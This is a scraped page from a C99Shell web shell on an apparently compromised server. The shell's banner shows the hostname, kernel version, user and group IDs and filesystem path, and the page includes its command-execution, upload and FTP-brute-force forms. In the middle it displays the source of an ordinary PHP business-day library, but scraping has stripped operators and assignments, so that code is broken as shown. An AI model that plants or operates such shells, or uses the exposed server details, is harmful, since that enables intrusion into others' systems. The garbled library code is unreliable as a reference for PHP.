!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/cmixin/business-day/src/Cmixin/   drwxr-xr-x
Free 26.5 GB of 117.98 GB (22.47%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BusinessDay.php (5.26 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Cmixin;

use 
Carbon\Carbon;
use 
Cmixin\BusinessDay\BusinessCalendar;
use 
Cmixin\BusinessDay\BusinessMonth;

class 
BusinessDay extends BusinessCalendar
{
    
/**
     * Add a given number of business days to the current date.
     *
     * @return \Closure
     */
    
public function addBusinessDays($factor 1)
    {
        
/**
         * Add a given number of business days to the current date.
         *
         * @param int $days
         *
         * @return \Carbon\Carbon|\Carbon\CarbonImmutable|\Carbon\CarbonInterface
         */
        
return static function ($days 1$date null) use ($factor) {
            
/** @var Carbon|BusinessDay $self */
            
$self = static::this();

            [
$days$date] = static::swapDateTimeParam($days$datenull);
            
$days = ($days ?? (is_object($date) ? null $date)) ?? 1;
            
$date is_object($date) ? $self->resolveCarbon($date) : $self;

            
$days *= $factor;

            for (
$i $days$i 0$i--) {
                
$date $date->nextBusinessDay();
            }

            for (
$i $days$i 0$i++) {
                
$date $date->previousBusinessDay();
            }

            return 
$date;
        };
    }

    
/**
     * Add one business day to the current date.
     *
     * @return \Closure
     */
    
public function addBusinessDay()
    {
        
/**
         * Add one business day to the current date.
         *
         * @return \Carbon\Carbon|\Carbon\CarbonImmutable|\Carbon\CarbonInterface
         */
        
return $this->addBusinessDays();
    }

    
/**
     * Subtract a given number of business days to the current date.
     *
     * @return \Closure
     */
    
public function subBusinessDays()
    {
        
/**
         * Subtract a given number of business days to the current date.
         *
         * @param int $days
         *
         * @return \Carbon\Carbon|\Carbon\CarbonImmutable|\Carbon\CarbonInterface
         */
        
return $this->addBusinessDays(-1);
    }

    
/**
     * @alias subBusinessDays
     *
     * Sets the date to that corresponds to the number of business days prior the starting date.
     *
     * @return \Closure
     */
    
public function subtractBusinessDays()
    {
        
/**
         * Subtract a given number of business days to the current date.
         *
         * @param int $days
         *
         * @return \Carbon\Carbon|\Carbon\CarbonImmutable|\Carbon\CarbonInterface
         */
        
return $this->addBusinessDays(-1);
    }

    
/**
     * Subtract one business day to the current date.
     *
     * @return \Closure
     */
    
public function subBusinessDay()
    {
        
/**
         * Subtract one business day to the current date.
         *
         * @return \Carbon\Carbon|\Carbon\CarbonImmutable|\Carbon\CarbonInterface
         */
        
return $this->subBusinessDays();
    }

    
/**
     * @alias subBusinessDay
     *
     * Subtract one business day to the current date.
     *
     * @return \Closure
     */
    
public function subtractBusinessDay()
    {
        
/**
         * Subtract one business day to the current date.
         *
         * @return \Carbon\Carbon|\Carbon\CarbonImmutable|\Carbon\CarbonInterface
         */
        
return $this->subBusinessDays();
    }

    
/**
     * Returns the difference between 2 dates in business days.
     *
     * @return \Closure
     */
    
public function diffInBusinessDays()
    {
        
/**
         * Returns the difference between 2 dates in business days.
         *
         * @param \Carbon\Carbon|\Carbon\CarbonImmutable|\Carbon\CarbonInterface $other other date
         *
         * @return int
         */
        
return static function ($other null) {
            
/** @var Carbon|BusinessDay $self */
            
$self = static::this();

            return 
$self->diffInDaysFiltered(static function ($date) {
                
/* @var Carbon|static $date */

                
return $date->isBusinessDay();
            }, 
$other);
        };
    }

    
/**
     * Get the number of business days in the current month.
     *
     * @return \Closure
     */
    
public function getBusinessDaysInMonth()
    {
        
/**
         * Get the number of business days in the current month.
         *
         * @return int
         */
        
return static function ($date null) {
            
$self = static::this();
            
$month = new BusinessMonth($date ?? $selfget_class($self));

            return 
$month->getStart()->diffInBusinessDays($month->getEnd());
        };
    }

    
/**
     * Get list of date objects for each business day in the current month.
     *
     * @return \Closure
     */
    
public function getMonthBusinessDays()
    {
        
/**
         * Get list of date objects for each business day in the current month.
         *
         * @return array
         */
        
return static function ($date null) {
            
$self = static::this();
            
$month = new BusinessMonth($date ?? $selfget_class($self));
            
$date $month->getStart();
            
$dates = [];

            while (
$date $month->getEnd()) {
                if (
$date->isBusinessDay()) {
                    
$dates[] = $date->copy();
                }

                
$date $date->addDay();
            }

            return 
$dates;
        };
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.006 ]--